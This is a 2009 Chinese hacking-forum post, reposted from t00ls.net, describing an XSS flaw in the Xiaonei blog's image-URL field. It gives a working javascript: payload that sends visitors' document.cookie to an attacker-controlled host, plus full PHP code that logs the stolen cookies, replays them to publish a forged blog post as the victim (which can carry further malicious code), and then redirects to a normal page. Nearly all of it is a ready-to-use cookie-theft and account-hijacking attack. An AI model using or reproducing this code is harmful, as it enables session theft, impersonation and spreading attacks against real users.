铖大吴英根 發表於 2009-5-24 18:25:59

校内网最新 xss Cookies得到密码

From:http://t00ls.net/viewthread.php?tid=1323&amp;highlight= <br /><br />校内网在发blog时对插入图片过滤不严格,存在xss漏洞. <br /><br />在发blog时将插入图片URL写为如下代码即可触发:普通浏览复制代码打印代码 <br />javascript:window.location.href='http://www.xxx.com/test.&lt;SPAN class=t_tag xxxxx=tagshow(event) href=&quot;tag.php?name=php&quot;&gt;php&lt;/SPAN&gt;?cookie='+document.cookie <br /><br />javascript:window.location.href='http://www.xxx.com/test.php?cookie='+document.cookie test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下:普通浏览复制代码打印代码 <br />&lt;?php <br />ob_start(); <br />$url = 'blog.xiaonei.com'; <br />$cookie=$_GET['cookie']; <br />$cookie1=$cookie.&quot;\r\n\r\n&quot;; <br />fputs(fopen('a.txt','a+'),$cookie1); //cookie写入 a.txt <br />//发一条伪造的日志,这条日志里面也可以插入恶意代码 <br />$sock = fsockopen(&quot;$url&quot;, 80, $errno, $errstr, 30); <br />if (!$sock) die(&quot;$errstr ($errno)\n&quot;); <br />$data = &quot;title=test by fly&amp;body=test by fly&amp;categoryId=0&amp;blogControl=99&amp;passwordProtedted=0&amp;passWord=&amp;blog_pic_id=&amp;pic_path=&amp;activity=&amp;id=&amp;relative_optpe=&quot;; <br />fwrite($sock, &quot;POST http://$url/NewEntry.do HTTP/1.1\r\n&quot;); <br />fwrite($sock, &quot;Accept: */*\r\n&quot;); <br />fwrite($sock, &quot;Referer: http://$url\r\n&quot;); <br />fwrite($sock, &quot;Accept-Language: zh-cn\r\n&quot;); <br />fwrite($sock, &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;); <br />fwrite($sock, &quot;Accept-Encoding: gzip, deflate\r\n&quot;); <br />fwrite($sock, &quot;User-Agent: Mozilla\r\n&quot;); <br />fwrite($sock, &quot;Host: $url\r\n&quot;); <br />fwrite($sock, &quot;Content-Length: &quot;.strlen($data).&quot;\r\n&quot;); <br />fwrite($sock, &quot;Connection: Keep-Alive\r\n&quot;); <br />fwrite($sock, &quot;Cache-Control: no-cache\r\n&quot;); <br />fwrite($sock, &quot;Cookie:&quot;.$cookie.&quot;\r\n\r\n&quot;); <br />fwrite($sock, $data); <br />$headers = &quot;&quot;; <br />while ($str = trim(fgets($sock, 4096))) <br />$headers .= &quot;$str\n&quot;; <br />echo &quot;\n&quot;; <br />$body = &quot;&quot;; <br />while (!feof($sock)) <br />$body .= fgets($sock, 4096); <br />fclose($sock); <br />//echo $body; <br />//跳转到一个正常的日志 <br />Header(&quot;Location: http://blog.xiaonei.com/GetEntry.do?id=xxxx&amp;owner=xxxxx&quot;); <br />ob_end_flush(); <br />?&gt; <br /><br />
頁: [1]
查看完整版本: 校内网最新 xss Cookies得到密码